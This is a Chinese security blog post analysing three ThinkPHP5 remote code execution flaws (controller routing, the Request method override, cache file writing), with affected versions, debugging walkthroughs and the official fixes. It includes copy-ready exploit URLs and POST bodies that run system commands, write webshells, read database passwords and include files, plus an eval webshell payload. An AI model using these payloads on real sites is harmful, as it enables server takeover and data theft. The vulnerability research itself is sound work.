Diggid's Blog

ThinkPHP5 RCE漏洞总结

字数统计: 4.5k阅读时长: 19 min
2021/05/24 Share

前言

前几天把TP5的SQL注入漏洞总结跟踪了一遍,今儿把TP5系列的RCE漏洞再跟踪总结一下,方便以后自查备用,也学习一下TP5框架下的一些不安全过滤以及挖掘RCE漏洞的方法。

未开启强制路由导致RCE

该版本漏洞由于默认情况下未开启强制路由(url_route_must)以及开启兼容模式(var_pathinfo'=>'s'),我们可以通过TP的路由方式?s=index/[任意控制器]/[控制器任意操作(函数)]来调用控制器(类)的操作(函数),且由于在解析URL以及获取控制器的过程中(routeCheck、check、checkRoute、parseURL),对控制器没有进行合法性检测和过滤,导致可以调用任意控制器(类)的任意操作(函数),从而调用到一些具有敏感函数如call_user_func(_array)?evalfile_put_contents…的控制器类的方法

调试的话建议从框架加载的App:run()开始跟踪,然后一步步分析。

影响

  • 5.0.7 <= ThinkPHP5 <= 5.0.22
  • 5.1.0 <= ThinkPHP <= 5.1.30

在5.0.7版本以下,解析控制器路径的时候会拼接app\index\controller\,因此限定控制器必须为application\index\controller目录下的控制器,因此不存在漏洞。

5.0.22以上的版本,增加了过滤,见修复

payload

TP5.0.xTP5.1.x部分payload可能不同,因为两个版本的控制器类可能有所不同,但是payload形式一致,具体的控制器类危险方法的调用具体分析、挖掘。注意,window下路径模式严格区分大小写,而在加载相应的控制器文件时会将控制器转为小写并拼接.php来包含加载,因此在window下部分payload受限,如果要测试的话,需要将\think\Loader::autoload方法中的这段注释掉.

1
2
3
4
5
// Win环境严格区分大小写

if (IS_WIN && pathinfo($file, PATHINFO_FILENAME) != pathinfo(realpath($file), PATHINFO_FILENAME)) {
return false;
}

形式

1
?s=index/[控制器类]/[类方法]&[参数1]=xxx&[参数2]=xxx

注意这里的参数名需要和类方法定义的参数名一致,否则无法执行。因为底层获取方法参数用的是php的反射来获取的。具体可以调试看看。

payload汇总

注意部分payload的控制器类在x版本可能没有。就不写这么仔细了。寻找任意类的任意方法时有以下限制条件

  • 任意控制类的构造方法必须是public,否则在反射获取控制类时$reflect->newInstanceArgs($args);会报错non-public,比如在5.0.8版本的\think\Request,其构造方法为protected,无法利用
  • 所调用的任意方法必须是public修饰的,否则报错找不到方法

5.0.x

  • RCE
1
2
3
4
5
6
7
8
9
10
11
# call_user_func
?s=index/\think\Request/input&filter[]=system&data=calc

# eval
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>

# 反射 ReflectionFunction($function)->invokeArgs($args)
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc

# 反射 ReflectionFunction($function)->invokeArgs($args)
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
  • Webshell
1
2
# file_put_contents
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
  • 其他
1
2
3
4
5
6
7
8
9
# 获取配置信息
?s=index/think\config/get&name=database.password # 数据库密码data.xxx
?s=index/think\config/get&name=log.path # 日志文件

# 包含任意文件
?s=index/\think\Lang/load&file=../../test.jpg

# 包含任意.php文件
?s=index/\think\Config/load&file=../../t.php

可能还有其他的Sink甚至配合组合拳,可以自行寻找,可以考虑任意文件读写、RCE、eval、反序列化、文件包含等。

5.1.x

  • RCE
1
2
3
4
5
6
7
8
9
10
11
# call_user_func
?s=index/\think\Request/input&filter[]=system&data=calc

# eval
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>

# 反射 ReflectionFunction($function)->invokeArgs($args)
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc

# 反射 ReflectionFunction($function)->invokeArgs($args)
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
  • webshell
1
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

漏洞分析

以这个payload为例,针对5.0.x版本的调用过程进行分析,至于5.1.x的分析,触发的逻辑在Module::exec,跟一下即可

1
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>

我们从最开始的App::run来看,分析其解析URL中控制器到反射调用到任意控制器类的任意方法的整个流程。

断点打在thinkphp/start.phpApp::run(),对于Class::Method()这种形式,TP会经过一系列的自动类加载过程,然后调用到App类的run方法,在run方法中,一开始对app的整个请求配置进行初始化,然后调用$dispatch = self::routeCheck($request, $config);来检测路由

image-20210524181644604

跟进看一下,处理$path(URL的s字段值)和$request后,继续调用$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);来检测路由

image-20210524181912028

image-20210524182006796

继续处理$path,将其用|分割为模块(application下的index)、控制器、操作三个部分,并赋值给$url,然后进一步调用self::checkRoute($request, $rules, $url, $depr);进行检测

image-20210524182232617

self::checkRoute将返回false,然后再返回到routeCheck方法中赋值给$result,当result为false时,会进行解析模块/控制器/操作/参数...的解析

image-20210524190518751

parseUrl方法为真正解析URL的方法,其分别解析模块、控制器、操作、参数,并封装给$route变量,最后返回

image-20210524190807261

image-20210524190821045

然后结果会返回到run函数中,并赋值给$dispatch进行不同type的任务调度

image-20210524191024417

进入App:module方法,进行模块初始化操作(这里是index模块),同时获取并设置控制器、操作。然后进入Loader::controller方法

image-20210524191305871

在该方法中,会使用class_exists()判断调用的控制器类是否存在,其实就是经过一次findFileautoload的动态加载类过程。如果存在的话,则返回true,然后进入if,进入到App::invokeClass($class);方法

image-20210524191546406

invokeClass方法中,反射创建控制器类的实例对象,然后调用getConstructor()方法获取构造函数,当构造函数存在时,则调用self::bindParams($constructor, $vars);来获取构造函数的参数。最后调用$reflect->newInstanceArgs($args);来生成控制器类的实例对象,若控制器的构造函数为非public,则调用该方法会报错

image-20210524192100685

生成的控制器类的实例对象返回到module方法赋值给$instance,然后以[$instance, $action]的形式来作为函数调用

image-20210524192344075

然后进入到self::invokeMethod($call, $vars);方法中,该方法用来处理最后控制器方法的调用

image-20210524192706957

还是一样,调用 self::bindParams来获取控制器方法的同名参数(注意参数要和定义的同名),最后调用$reflect->invokeArgs(),这样就进入到了控制器类的方法了,也就是我们这里的\think\view\driver\Php::display

image-20210524192759891

至此,所有的分析也就结束了,主要原因还是在解析URL(parseUrl或其他方法)的时候没有对模板/控制器/操作这种模式的URL中的控制器进行过滤或限制,从而导致任意调用。

修复

官方修复是在5.0.22和5.1.30之后,在\think\App::module方法中增加了对控制器类的过滤

1
2
3
4
5
$controller = strip_tags($result[1] ?: $config['default_controller']);

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}

method任意调用方法导致RCE

这种类型的漏洞触发点在filterValue,触发前通过Request::method方法存在危险写法$this->{$this->method}($_POST)导致调用到Request类中的任意方法,从而调用能够覆盖类属性的方法,进而在filterValue中实现参数可控,最后由call_user_func触发RCE。

影响

  • 5.0.0 <= ThinkPHP5 <= 5.0.24
  • 5.1.0 <= ThinkPHP5 <= 5.1.13

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(1)
# 5.0.0 <= v <= 5.0.12 无需开启debug
# 5.0.13 <= v <= 5.0.24 && 5.1.0 <= v <= 5.1.7 需要开启debug
?s=index/index
POST:
s=calc&_method=__construct&&filter[]=system

_method=__construct&filter[]=system&method=get&get[]=calc

c=system&f=calc&_method=filter

s=file_put_contents('shell.php','<?php phpinfo();')&_method=__construct&filter[]=assert # 写shell

(2)
# 5.0.13 <= v <= 5.0.24 captcha路由存在时,无需开启debug
# 5.1.0 <= v <= 5.1.13
?s=captcha/cmd # cmd可写可不写,写的话post再写则触发多次
POST:同上

(3)
# 5.0.21 <= v <= 5.0.24
?s=index/index
POST:
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

分析

首先我们先提前说一下开启debug和不开启debug在代码执行流程上的区别

image-20210525190205894

开启debug时,self::$debugtrue,就会进入上述的if分支,然后执行$request->param(),这里是触发RCE的一条路。

不开启debug时,那么就不会进入该分支,而只会执行self::exec(),这是触发RCE的另一条路,并且这条路在不同的版本存在限制,但是可以借助其他路由如captcha来绕过。

默认情况下,开启debug,无条件RCE。而未开启debug,需要根据版本以及是否具有可用的路由来绕过从而RCE

开启debug

版本5.0.8,使用这个payload带入去分析s=calc&_method=__construct&method=POST&filter[]=system

这里先在App::run方法中下几个断点,发现在执行到Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');语句时会触发RCE,因此我们跟进$request->param()方法看一下,然后会经过如下调用栈

image-20210525191053399

最后在Request::filterValue()方法中触发RCE。我们需要特别关注一下该方法,在Request类中,param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均调用了 filterValue 方法。

现在我们需要回溯一下参数,看是否可控,根据array_wark_recusive函数的用法,$data若是数组,则其键值对对应filterValue函数的参数$key,$value,而$filters则为array_walk_recursive的第三个参数$filter,且$filter会经过foreach取值出来调用到call_user_func($filter, $value)

因此我们需要让$filter为一个数组,该数组有一个值为system,让$data也为一个数组,该数组有一个值为calc。对应着也就是payload中的s=calc&filter[]=system

具体来看一下这些值是怎么赋值或者覆盖上去的。

跟踪可以发现,$filter值来自于$this->filter,而$data的值来自于$this->param。这两个变量都是类成员属性(关键!)

$this->filter的值在进入param方法时就已经有值了,而$this->param是在$this->param = array_merge($this->get(false), $vars, $this->route(false));语句中赋值的

image-20210525193021959

调试可知,$this->filter经过如下调用栈到method方法

image-20210525193217607

image-20210525193312272

由于$method为false,且$_POST[Config::get('var_method')]默认为$_POST['_mmethod'],而我们POST传入了_method=__CONSTRUCT,所以进入到该分支,该分支存在一个危险的写法

1
$this->{$this->method}($_POST);

从而导致调用任意Request类的任意方法,且参数完全可控。因此我们可以全局$this->filter在当前页面找一下,发现

__constructfilter方法存在对$this->filter的赋值操作

  • __construct方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
//任意类属性覆盖
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}

property_exists满足的合法属性有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected $get                  protected static $instance;
protected $post protected $method;
protected $request protected $domain;
protected $route protected $url;
protected $put; protected $baseUrl;
protected $session protected $baseFile;
protected $file protected $root;
protected $cookie protected $pathinfo;
protected $server protected $path;
protected $header protected $routeInfo
protected $mimeType protected $env;
protected $content; protected $dispatch
protected $filter; protected $module;
protected static $hook protected $controller;
protected $bind protected $action;
protected $input; protected $langset;
protected $cache; protected $param
protected $isCheckCache;

所以我们能够轻易覆盖任何类属性,包括这里的$this->filter

  • filter方法:该方法只能覆盖$this->filter
1
2
3
4
5
6
7
8
public function filter($filter = null)
{
if (is_null($filter)) {
return $this->filter;
} else {
$this->filter = $filter;
}
}

这里也就对应的payload

1
c=system&f=calc&_method=filter

而对于$this-param的处理,就是将GET和POST方法从属性值对转为数组的键值对赋值给$this->param。因此,我们只需在POST方法中设置任意键名的键值对s=calc,即可在循环解析$data中触发RCE

不开启debug

上面分析了开启debug情况下的RCE,在进入第一个Request::param时即可触发,但是实际上,会发现RCE触发了两次,也就是说,在后面还会有一次RCE的触发,前面也说到了是在self::exec($dispatch, $config);中触发,因此在某些版本中不依赖于debug模式。在5.0.13版本中,稍有修改,无法直接触发RCE,但是可以利用官方增加的验证码路由来RCE,该路由需要添加依赖"topthink/think-captcha": "^1.0"

版本:TP<=5.0.12

其实也很简单,直接贴一下调用栈,细节再解释。

image-20210525200646973

可以看到两个case分支都直接调用了Request::instance()->param(),而module这个case,经过如下调用栈也会调用到param方法

image-20210525200746518

版本:TP>=5.0.13

会发现payload打不了。原因是在module的分支下,新增了一条清空$this->filter的语句,在App.php的554行

1
$request->filter($config['default_filter']);

这样我们前面经过self::routeCheck的调用栈覆盖的类属性$this->filter就被置为空了,因此就无法RCE

这里绕过的方式是,想办法进入其他的case,如controller或者method这两个case,而case又跟参数$dispatch['type']有关,回溯一下可以发现。经过如下调用栈,在parseRule方法中可以确定路由的类型

image-20210525204657952

image-20210525205220429

这样看还是没办法看出来,需要自己跟一跟

从宏观的角度,TP的几种路由类型如下,摘自@七月火师傅文章

image-20210525203411030

所以这里的?s=captcha属于路由到方法。因此我们就可以进入method的分支从而绕过$this->filter的清空了。

修复

TP5.0.24版本之后,官方在$this->{$this->method}($_POST)这个调用前增加了白名单校验,防止了调用Request类的任意方法来对类变量进行覆盖。

image-20210525212115146

而在更新的TP5.1.x版本中,代码有大部分重构,在Request::Method方法中,虽然$this->{$this->method}($_POST)前没有白名单校验,但是删去了__construct中的任意类变量覆盖,从而$this->method的值无法控制,在这之前的版本,$this->method的值并不会影响RCE,但是该版本之后,在RuleGroup::getMethodRules方法中,由于$this->rules[$method]$this->rules的值默认以下,因此$this->rules[$this->method]不存在,导致报错。目前还没找到可以覆盖$this->method$this->rules的调用链。

image-20210525215059192

缓存类RCE

本次漏洞存在于 ThinkPHP 的缓存类中。该类会将序列化化后的数据直接拼接并存储在 .php 文件中, 如果存在一个缓存页面,其数据用户可控,即可将 webshell 写入缓存文件。当得知默认缓存目录以及缓存名称时可以计算出缓存文件路径,一旦缓存目录可访问或结合任意文件包含漏洞,即可getshell。漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10

影响

  • 5.0.0<=ThinkPHP5<=5.0.10

payload

1
?username=test%0d%0a@eval($_REQUEST[diggid]);//

image-20210524211408516

image-20210524214720637

漏洞分析

在application/index/controller/Index.php写入如下漏洞页面。

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username")); // get.xxx <=> ?xxx=
return 'Cache success';
}
}

根据我们所写的漏洞测试页面,直接跟进到Cache::set方法。该方法中,使用单例模式self::init();初始化一个缓存驱动,跟进看一下

image-20210524212210587

获取到的缓存信息如下,默认获取的缓存驱动是\think\cache\driver\File,由 cache 的配置项 type 决定,默认情况下其值为 File 。可以在下图中得知其他类型的缓存驱动

image-20210524211941185

image-20210524211717610

初始化File缓存驱动对象后,调用该类的set方法,该方法中,序列化了我们传入的$data数据,并进行拼接,尽管前面的拼接使用了//注释,但我们可以使用%0d%0a换行绕过,而后的垃圾字符再用注释绕过即可。对于序列化后的数据$data,由于$this->options['data_compress']默认为false,因此不会被gzcompress,然后写入缓存文件中。

image-20210524212728174

image-20210524213002012

现在回溯来看一下$filename缓存文件名的处理过程。定位到$filename = $this->getCacheKey($name);,这里的$name是我们在漏洞页面设置的缓存名Cache::set("name",xxx),即name。可以看到,先对name计算md5,然后由于默认开启$this->options['cache_substr'],于是截取md5("name")的前两个字符即b0作为子目录名,父目录为$this->options['path']默认设置的运行时目录\runtime\cache,剩下的部分拼接.php作为参数名,因此最后得到的缓存文件路径为

1
\runtime\cache\b0\68931cc450442b63f5b3d276ea4297.php

image-20210524213426977

当我们得知Cache::set("name",xxx)设置的缓存名,以及$this->options['path']设置的缓存目录后,可以轻松的得到我们写入的webshell的路径,配合文件包含或可直接访问的话即可getshell

修复

$data序列化数据拼接在exit();之后。

image-20210524214149769

参考

https://y4er.com/post/thinkphp5-rce/

https://mochazz.github.io/2019/04/08/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C9/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

https://mochazz.github.io/2019/05/31/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C8/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

https://mochazz.github.io/2019/04/09/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C10/#%E6%BC%8F%E6%B4%9E%E6%A6%82%E8%A6%81

https://xz.aliyun.com/t/7792#toc-0

CATALOG
  1. 1. 前言
  2. 2. 未开启强制路由导致RCE
    1. 2.1. 影响
    2. 2.2. payload
      1. 2.2.1. 形式
      2. 2.2.2. payload汇总
    3. 2.3. 漏洞分析
    4. 2.4. 修复
  3. 3. method任意调用方法导致RCE
    1. 3.1. 影响
    2. 3.2. payload
    3. 3.3. 分析
      1. 3.3.1. 开启debug
      2. 3.3.2. 不开启debug
    4. 3.4. 修复
  4. 4. 缓存类RCE
    1. 4.1. 影响
    2. 4.2. payload
    3. 4.3. 漏洞分析
    4. 4.4. 修复
  5. 5. 参考